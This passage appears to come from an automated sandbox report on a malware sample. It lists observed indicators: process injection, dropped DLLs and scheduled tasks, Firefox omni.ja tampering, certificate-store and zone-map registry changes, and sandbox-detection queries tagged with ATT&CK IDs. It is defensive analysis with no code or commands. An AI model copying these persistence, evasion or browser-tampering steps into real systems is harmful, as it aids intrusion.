PID 6284 set thread context of 4540	6284	oTk_3XRn2WdRuMpkJOJYcXqf.exe	663
PID 5064 set thread context of 2952	5064	j7T6uOenazCLzjfc3Q0zJCJg.exe	666
PID 4040 set thread context of 872	4040	y0V6iQpV8ebQaqgfkS1GLXNU.exe	723
PID 3944 set thread context of 2792	3944	eqtpkqwqodik.exe	729
PID 5356 set thread context of 2688	5356	eqtpkqwqodik.exe	740

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\7-Zip\Lang\mng2.txt	msiexec.exe
File created	C:\Program Files (x86)\dLLzADClkagU2\neUUPgM.xml	uZMIViB.exe
File created	C:\Program Files (x86)\wGxkUGMqSkfBC\CsnPhIT.dll	QDiQnOp.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tg.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\va.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\an.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ko.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\uk.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\uz-cyrl.txt	msiexec.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	uZMIViB.exe
File created	C:\Program Files (x86)\7-Zip\7z.sfx	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\7zCon.sfx	msiexec.exe
File created	C:\Program Files (x86)\RgdiTWAdU\IqoaRN.dll	XEAOSSh.exe
File created	C:\Program Files (x86)\dLLzADClkagU2\thLwjwX.xml	QDiQnOp.exe
File created	C:\Program Files (x86)\7-Zip\readme.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\zh-cn.txt	msiexec.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	uZMIViB.exe
File created	C:\Program Files (x86)\7-Zip\Lang\be.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sk.txt	msiexec.exe
File created	C:\Program Files (x86)\wGxkUGMqSkfBC\jThBEMG.xml	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ga.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ku.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pl.txt	msiexec.exe
File created	C:\Program Files (x86)\RgdiTWAdU\rtfCHE.dll	QDiQnOp.exe
File created	C:\Program Files (x86)\7-Zip\License.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\et.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\kaa.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\lt.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pt.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tk.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\yo.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\bg.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fur.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\nb.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pt-br.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sl.txt	msiexec.exe
File created	C:\Program Files (x86)\dLLzADClkagU2\CIJqRotalRWNe.dll	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\History.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fi.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mk.txt	msiexec.exe
File created	C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\pZObFjC.xml	uZMIViB.exe
File created	C:\Program Files (x86)\7-Zip\7-zip.chm	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ar.txt	msiexec.exe
File created	C:\Program Files (x86)\LUWSYkNLogUn\XkNEzzZ.dll	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\Lang\br.txt	msiexec.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ja.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ku-ckb.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ug.txt	msiexec.exe
File created	C:\Program Files (x86)\wGxkUGMqSkfBC\ItPCYeE.xml	uZMIViB.exe
File created	C:\Program Files (x86)\dLLzADClkagU2\QtzXUyi.xml	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fy.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hy.txt	msiexec.exe
File created	C:\Program Files (x86)\wGxkUGMqSkfBC\wZWxUwd.dll	XEAOSSh.exe
File created	C:\Program Files (x86)\7-Zip\7zG.exe	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ms.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\gu.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ru.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\th.txt	msiexec.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	uZMIViB.exe
File created	C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\obhuMqO.dll	QDiQnOp.exe
File created	C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\bsTIuLB.xml	QDiQnOp.exe

Drops file in Windows directory 28 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Installer\MSI7620.tmp	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe
File created	C:\Windows\Tasks\bjeWJKrHnPpdAGCduF.job	schtasks.exe
File created	C:\Windows\rescache\_merged\425634766\559526067.pri	LogonUI.exe
File created	C:\Windows\Tasks\zjtCPqTOixnxYITTP.job	schtasks.exe
File created	C:\Windows\Tasks\mFeioppqsVnzBGRpZ.job	schtasks.exe
File created	C:\Windows\SystemTemp\~DF340F842BAB810E82.TMP	msiexec.exe
File created	C:\Windows\Tasks\gwLAkOfFqvEnRPY.job	schtasks.exe
File created	C:\Windows\Tasks\gwLAkOfFqvEnRPY.job	schtasks.exe
File created	C:\Windows\SystemTemp\~DFDC7D035E25391596.TMP	msiexec.exe
File created	C:\Windows\Installer\e597588.msi	msiexec.exe
File created	C:\Windows\Tasks\zjtCPqTOixnxYITTP.job	schtasks.exe
File opened for modification	C:\Windows\Installer\e597584.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{23170F69-40C1-2701-2401-000001000000}	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe
File created	C:\Windows\Tasks\bjeWJKrHnPpdAGCduF.job	schtasks.exe
File created	C:\Windows\SystemTemp\~DFBE4EB22380462B69.TMP	msiexec.exe
File created	C:\Windows\Tasks\bjeWJKrHnPpdAGCduF.job	schtasks.exe
File created	C:\Windows\Tasks\gwLAkOfFqvEnRPY.job	schtasks.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Tasks\zjtCPqTOixnxYITTP.job	schtasks.exe
File created	C:\Windows\Installer\e597584.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1F8AAFC1801B214A.TMP	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Tasks\explortu.job	KKFBFCAFCB.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2736	sc.exe
2092	sc.exe
1768	sc.exe
7084	sc.exe
2336	sc.exe
6188	sc.exe
6164	sc.exe
2160	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 11 IoCs

pid	pid_target	Process	procid_target
4792	6476	WerFault.exe	243
5252	5996	WerFault.exe	248
664	2856	WerFault.exe	269
1916	7140	WerFault.exe	298
6500	7120	WerFault.exe	210
6396	4216	WerFault.exe	389
3552	928	WerFault.exe	543
5008	408	WerFault.exe	481
5588	5348	WerFault.exe	600
5184	3696	WerFault.exe	735
6704	1856	WerFault.exe	802

Checks SCSI registry key(s) 3 TTPs 11 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000d35e07e9a716e6840000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000d35e07e90000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900d35e07e9000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dd35e07e9000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d35e07e900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	R42wU6T6MxPmzVCvyCOtTjfa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	R42wU6T6MxPmzVCvyCOtTjfa.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
928	timeout.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Internet Explorer\TypedURLs	taskmgr.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.png\OpenWithList	QDiQnOp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	XEAOSSh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.png\OpenWithList	XEAOSSh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.png	XEAOSSh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = 6024b221ea3a6910a2dc08002b30309d6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	QDiQnOp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	QDiQnOp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry class 39 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\ProductName = "7-Zip 24.01"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0410720000000040000000	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\PackageCode = "96F071321C0410724210000020000000"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1474490143-3221292397-4168103503-1000\{925706DF-BC89-4C33-8583-0853CAB7F423}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\Complete	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files (x86)\\7-Zip\\7-zip.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0410720000000040000000\96F071321C0410724210000010000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\PackageName = "7z2401.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\LanguageFiles = "Complete"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Version = "402718720"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\DeploymentFlags = "3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Folder\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Drive\shellex\DragDropHandlers\7-Zip	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\*\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Directory\shellex\DragDropHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\Program = "Complete"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\AdvertiseFlags = "388"	msiexec.exe

NTFS ADS 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 747015.crdownload:SmartScreen	msedge.exe
